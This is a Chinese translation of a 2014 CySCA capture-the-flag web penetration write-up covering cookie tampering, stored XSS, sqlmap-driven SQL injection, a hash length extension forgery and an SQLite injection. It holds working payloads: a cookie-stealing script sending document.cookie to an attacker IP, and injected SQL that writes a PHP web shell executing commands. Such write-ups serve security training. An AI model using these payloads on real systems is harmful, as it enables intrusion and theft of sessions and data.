<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/2444

            from:https://www.cyberchallenge.com.au/CySCA2014_Web_Penetration_Testing.pdf

            0x00 背景


            一年一度的澳洲CySCA CTF是一個由澳洲政府和澳洲電信Telstra贊助的信息安全挑戰賽,主要面向澳洲各大學的安全和計算機科學專業的學生。

            CTF環境全部虛擬化并且需要openvpn才能進入。

            0x01 第一題 非請勿入


            說明:

            一個只有VIP用戶才能進去的blog,想辦法進去后就能看到flag了。

            解題:

            打開burp和瀏覽器開始觀察目標,我們發現了幾個有意思的地方:

            有個用戶登錄頁面 login.php  
            blog導航欄里有個博客頁面的鏈接,但是是灰色的無法點擊也打不開  
            cookie有兩個,PHPSESSID還有vip=0  
            cookie沒有http only,有可能被xss到  
            

            vip=0,這有點明顯,用burp或者瀏覽器cookie編輯工具把vip改成1,刷新頁面后那個隱藏的鏈接可以打開了,打開后就是flag: ComplexKillingInverse411

            0x02 第二題 好吃的小甜餅


            說明:

            用已任何已注冊用戶的身份成功登錄blog。

            解題:

            翻了翻這個博客,又發現了幾個好玩的地方:

            可以看博客內容  
            可以添加回復  
            用戶Sycamore似乎正在看第二篇博客 view=2  
            

            Burp的內建插件 intruder可以用來在提交的參數里插入sql注入或者xss代碼,Kali中自帶了幾個xss和sql注入的字典:

            /usr/share/wfuzz/wordlist/Injections/SQL.txt?  
            /usr/share/wfuzz/wordlist/Injections/XSS.txt 
            

            用這幾個字典里的標準注入語句和xss代碼對 GET view=?和 POST comment=?這兩個參數過了一遍,沒發現任何xss或者注入,于是我們決定對comment這個地方再仔細看看。

            comment參數似乎過濾了不少東西,比如去掉了所有引號,轉義了全部html特殊字符。但是似乎comment支持markdown語言里的斜體,粗體和鏈接標簽,然后我們用burp intruder的xss測試在下面幾個輸入里面測試:

            *test*?  
            *test*?  
            <test>?  
            

            果然成功了,在markdown鏈接標簽的鏈接名稱的地方存在XSS:

            ?

            后續測試發現鏈接名稱最長只能用30字符,翻了翻OWASP的XSS cheat sheet,

            https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

            最短的是這個:

            <SCRIPT SRC=//ha.ckers.org/.j>?  
            

            在Kali中,新建個文件 .j,里面放點偷cookie的js:

            $.get('http://192.168.16.101?cookie='+document.cookie);  
            

            然后在同目錄下用python開個http服務器:

            python --m SimpleHTTPServer 80

            發送XSS payload [<SCRIPT SRC=//192.168.16.101/.j>][1]

            然后坐等目標上鉤...
            .
            .
            .
            等了這么久怎么還沒有?
            原來是192.168.16.101這個ip太長了,payload被截斷了……
            再仔細想想,好像很多瀏覽器支持十進制IP的,于是我們的payload變成了:

            [<script src=//3232239717/.j>][1]?  
            

            好吧,其實還是超過了30位,不過比賽的時候這個長度被改成了75位所以無所謂了。

            發送這個payload后,過了一會兒在控制臺里出現了Python HTTP Server的日志:

            172.16.1.80 - - [20/Feb/2014 16:11:07] "GET /.j HTTP/1.1" 200 -?  
            172.16.1.80 - - [20/Feb/2014 16:11:12] "GET?  
            /?cookie=PHPSESSID=pm5qdd1636bp8o1fs92smvi916;%20vip=0 HTTP/1.1" 301
            

            偽造cookie刷新后拿到flag: OrganicShantyAbsent505?

            0x03 第三題 Nonce-Sense


            說明:

            Flag在數據庫里。

            解題:

            用上面用戶的cookie登錄后逛了一下,發現用戶可以在自己的blog下面刪除評論,這個功能是通過ajax POST到deletecomment.php實現的,提交的內容里有CSRF token。

            CSRF token會被最先檢查,如果不對的話會直接返回錯誤,這樣導致對提交的參數進行自動化測試會比較困難,好在burp提供了宏這個功能,可以讓我們自動采集CSRF token然后提交。

            每次POST到deletecomment.php這個頁面都會返回一個不同的CSRF token,下次提交的時候必須帶著才行。

            我們可以用burp里的session handler中的宏來抓取,我建議你先讀一下這篇:

            http://labs.asteriskinfosec.com.au/fuzzing--and--sqlmap--inside--csrf--protected--locations--part-1/

            通過SQL intruder插件,很快就可以發現在comment_id參數中存在SQL注入。

            {"result":false,"error":"You have an error in your SQL syntax; check the manual?that corresponds to your MySQL server version for the right syntax to use near?'\"' at line 1","csrf":"43b461afdd56f52f"}  
            

            找到注入點后,拿上順手的SQLMAP和Burp的proxy session宏結合起來,參考這里:

            http://labs.asteriskinfosec.com.au/fuzzing--and--sqlmap--inside--csrf--protected--locations--part-2/

            把sqlmap的請求都保存到文件里,并且確保更新session cookie

            #> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id
            ...
            [17:15:55] [WARNING] target URL is not stable. sqlmap will base the page
            comparison on a sequence matcher. If no dynamic nor injectable parameters are
            detected, or in case of junk results, refer to user's manual paragraph 'Page
            comparison' and provide a string or regular expression to match on
            how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
            ...
            [17:16:39] [INFO] heuristic (basic) test shows that POST parameter 'comment_id'
            might be injectable (possible DBMS: 'MySQL')
            
            ...
            heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
            want to skip test payloads specific for other DBMSes? [Y/n] y
            do you want to include all tests for 'MySQL' extending provided level (1) and risk
            (1)? [Y/n] n
            ...
            [17:17:13] [INFO] POST parameter 'comment_id' is 'MySQL >= 5.0 AND error-based -
            WHERE or HAVING clause' injectable
            ...
            POST parameter 'comment_id' is vulnerable. Do you want to keep testing the others
            (if any)? [y/N] n 
            

            現在我們確認了sqlmap和burp都正確配置了,接下來就可以把庫拖下來了。

            #> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id
            --current-db
            current database:    'cysca'
            
            #> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id -D
            cysca --tables
            Database: cysca
            
            #> sqlmap -r /root/sql-web3-headers
            [5 tables]
            +------------------------------------------------------------------------------+
            | user                                  |
            | blogs                                 |
            | comments                              |
            | flag                                  |
            | rest_api_log                          |
            +------------------------------------------------------------------------------+
            
            #> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id -D
            cysca -T flag --dump
            [1 entry]
            +--------------------------------------------+
            | flag                 |
            +--------------------------------------------+
            | CeramicDrunkSound667 |
            +--------------------------------------------+
            

            flag: CeramicDrunkSound667

            0x04 第四題:Hypertextension


            說明:

            在緩存控制面板里面找到flag。

            解題:

            控制面板是REST API的形式,在說明文檔里面寫了這個API有添加文件名然后讀取文件內容的功能,也許我們能用這個功能來讀取PHP源碼?

            首先需要找到API key,在上一題里似乎數據庫中有個表名叫rest_api_log,我們用SQLMAP把表拖下來看看:

            #> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id -D cysca -T rest_api_log --dump
            Database: cysca
            Table: rest_api_log
            [4 entries] +----+--------+------------------------------------------------------------------- ----------------------------------------------------------------+----------------- -+---------------------+-----------------------------+
            | id | method | params
            | api_key | created_on | request_uri | +----+--------+------------------------------------------------------------------- ----------------------------------------------------------------+----------------- -+---------------------+-----------------------------+
            |1 |POST | contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_s ig=235aca08775a2070642013200d70097a | b32GjABvSf1Eiqry | 2014-02-21 09:27:20 | \\/api\\/documents |
            |2 |GET |_url=%2Fdocuments&id=2
            | NULL
            |3 |POST | contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api.txt&api_sig=95a0e7dbe06 fb7b77b6a1980e2d0ad7d | b32GjABvSf1Eiqry | 2014-02-21 11:54:31 | \\/api\\/documents |
            |4|PUT | _url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api- v2.txt&api_sig=6854c04381284dac9970625820a8d32b | b32GjABvSf1Eiqry | 2014-02-21 12:07:43 | \\/api\\/documents\\/id\\/3 | +----+--------+------------------------------------------------------------------- ----------------------------------------------------------------+----------------- -+---------------------+-----------------------------+ 
            

            利用里面的其中一條,放到curl里面測試一下,根據REST API的文檔,curl命令應該是這樣的:

            #> curl -X PUT -d
            'contenttype=text/plain&filepath=./documents/rest-api-v2.txt&api_sig=6854c04381284dac9970625820a8d32b' -H 'X-Auth: b32GjABvSf1Eiqry'
            
            http://172.16.1.80/api/documents/id/3
            

            根據文檔,api_sig的值是在php里面生成的:

            hashlib.md5(secret+'contenttypetext/plainfilepath./documents/rest-api-v2.txtid3').  
            hexdigest()  
            

            secret作為雙方都共享的值,后面加上目標文件的路徑,生成的md5 hash作為api簽名,在不知道secret的情況下,似乎無法利用任意路徑生成合法的簽名。

            但是真的是這樣么?

            幾年前著名應用 Flickr曾經因為Hash簽名使用方法不正確結果掉進了很大的坑里,那就是 Hash長度擴展攻擊(Hash length extension attack),導致可以在不知道API secret的情況下偽造任意請求。

            關于Flickr的坑請看這里:

            http://netifera.com/research/flickr_api_signature_forgery.pdf

            Hash長度擴展攻擊能夠實現是因為 foo=bar 和 fo=obar 會產生一樣的hash簽名,所以我們可以生成一個可以讓我們在原參數后面添加新參數,并且簽名還是可以通過檢驗的。

            比如這個請求:

            "contenttype=text/plain&filepath=./documents/rest-api-v2.txt"?  
            

            如果我們把它改成:

            "c=ontenttypetext/plain&filepath=./documents/rest-api-v2.txt&contenttype=text/plain&filepath=./index.php"  
            

            那么在計算hash的時候字符串就會變成這樣:

            SECRETcontenttypetext/plainfilepath=./documents/rest-api-v2.txtcontenttype=text/plainfilepath=./index.phpid3  
            

            因為數據在被hash的時候會被分割成固定長度的塊,前面的塊生成的hash會放入下一個塊中和塊的內容一起繼續hash,直到最后一個塊,最后一個塊生成的hash就是我們最后得到的hash,也就是前面的api_sig。

            現在我們知道了前面所有塊產生的hash,如果我們自己再造一個塊,把這個hash當成前面的塊的hash放進我們自己建立的塊中來hash一下會發生什么?

            結果我們在不知道secret的情況下獲得了可以在原文后添加任意內容并且產生合法hash的方法。

            大部分web server在處理同樣參數的不同內容時傾向于選擇后面的,例如foo=1&foo=2,最后foo的值是2,但是有些web server也會使用前面的,這樣這個方法是不是就不能用了?

            根據這個API的文檔,參數和值會拼接在一起然后一起hash,例如,foo=bar&foo1=bar1會被變成字符串foobarfoo1bar1,所以假如我們把foo=bar變成fo=obar,拼接后的字符串還是foobarfoo1bar,這樣我們就可以完全控制需要更改的參數了。

            現在開始利用這個漏洞,首先下載并且編譯工具 HashPump (https://github.com/bwall/HashPump),然后利用它來生成我們需要的hash。因為我們不知道secret的長度,所以需要窮舉key的長度(hashpump的k參數)

            #> ./hashpump -s 6854c04381284dac9970625820a8d32b --data
            contenttypetext/plainfilepath./documents/rest-api-v2.txtid3 -a
            contenttypetext/plainfilepath./index.phpid3 -k 16
            4625e458d07cb19da70effa3d1c6dc14
            contenttypetext/plainfilepath./documents/rest-api-v2.txtid3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x02\x00\x00\x00\x00\x00\x00contenttypetext/plainfilepath./index.phpid3 
            

            我們把每次嘗試k值生成的hash和字符串用curl提交到服務器,直到服務器提示成功為止,經過多次測試,我們發現k值是16.

            #> curl --X PUT --d
            'c=ontenttypetext/plainfilepath./documents/rest-api-v2.txtid3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%02%00%00%00%00%00%00&contenttype=text/plain&filepath=./index.php&api_sig=4625e458d07cb19da70effa3d1c6dc14'  -H 'X-Auth:b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3
            

            接下來我們就成功獲取了index.php的源碼(成功的把index.php的源碼作為document id 3 保存):

            #> curl http://172.16.1.80/api/documents/id/3
            <?php
            // Not in production... see /cache.php?access=<secret>
            include('../lib/caching.php');
            if (isset($_GET['debug'])) {
            readFromCache();
            }
            **** SNIP **** 
            

            似乎這個cache.php有點意思,我們改改上面的hash長度攻擊利用代碼,把index.php換成cache.php,這次我們成功的拿到了flag。

            #> curl http://172.16.1.80/api/documents/id/3
            **** SNIP ****
            $flag = 'OrganicPamperSenator877';
            if ($_GET['access'] != md5($flag)) {
            header('Location: /index.php');
            die();
            }
            **** SNIP **** 
            

            0x05 第五題:注入空間 Injeption(尼瑪真難翻譯)


            說明:

            Web篇最后的flag藏在 /flag.txt里,你能拿到么?

            解題:

            上一題cache.php里面的源碼最后寫了,提交的參數access的值必須是上一題flag的md5,瀏覽器打開cache.php?access=f4fa5dc42fd0b12a098fcc218059e061 顯示的是一個很簡單的表單,表單提交了兩個參數,URI和標題,在cache.php里面對這兩個參數嚴格檢查,比如URI參數前面必須是http://開頭,服務器必須是本地,然后這個URI必須真實存在,不能是404.

            標題被限制在40字符以內,但是不會過濾引號,似乎可以被注入。

            我們嘗試在標題里提交 /* ,返回了錯誤信息:

            near "/*', '59ab7c9e3917a154ff56a43d08a262ab','http%3A%2F%2F172.16.1.80%2Findex.php', '...', datetime('now'))": syntax error
            

            熟悉的SQL顯錯注入,根據錯誤信息,后端數據庫似乎是SQLite,通過查看lib/caching.php的源碼我們可以確認這一點,通過源碼我們還可以看出,URI所指向的頁面內容被直接存進了數據庫中。

            考慮到40個字符的限制不能進行任何有利用價值的SQL注入,我們需要找到一個可以注入長字符串的方法,頁面內容輸出緩存的功能現在派上用場了。

            幸運的是,我們可以控制并且注入沒轉義過的單引號到緩存頁面,并且把緩存頁面自己緩存了,把在標題中的幾個較短的注入語句拼接在一起,一個完整的注入語句就能在緩存頁面被存入數據庫的時候執行。

            這里有個很好用的SQLite注入 cheat sheet,可以直接通過注入拿shell!

            http://atta.cked.me/home/sqlite3injectioncheatsheet

            我們的目標是利用這段注入語句拿到shell:

            ',0); ATTACH DATABASE 'a.php' AS a; CREATE TABLE a.b (c text); INSERT INTO a.b VALUES ('<? system($_GET[''cmd'']); ?>');/* 
            

            我們如何用40個字符的長度注入122字符的SQL語句? SQL塊注釋!

            這需要一些額外的轉義并且把php的拼接指令'||'分開:

            '',0);ATTACH DATABASE ''a.php'' AS a;/*
            */CREATE TABLE a.b (c text);INSERT /*
            */INTO a.b VALUES(''<? system($''||/*
            */''_GET[''''cmd'''']); ?>'');/*
            

            當這些標題一個個出現在緩存頁面中的時候,我們把緩存頁面給緩存了,我們的注入語句就被執行了,并且生成了webshell a.php

            我們現在就可以在服務器上執行任意指令了! 比如 cat /flag.txt

            # > curl http://172.16.1.80/a.php?cmd=cat+/flag.txt?  
            

            CFlag: TryingCrampFibrous963?

            Web篇完結。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线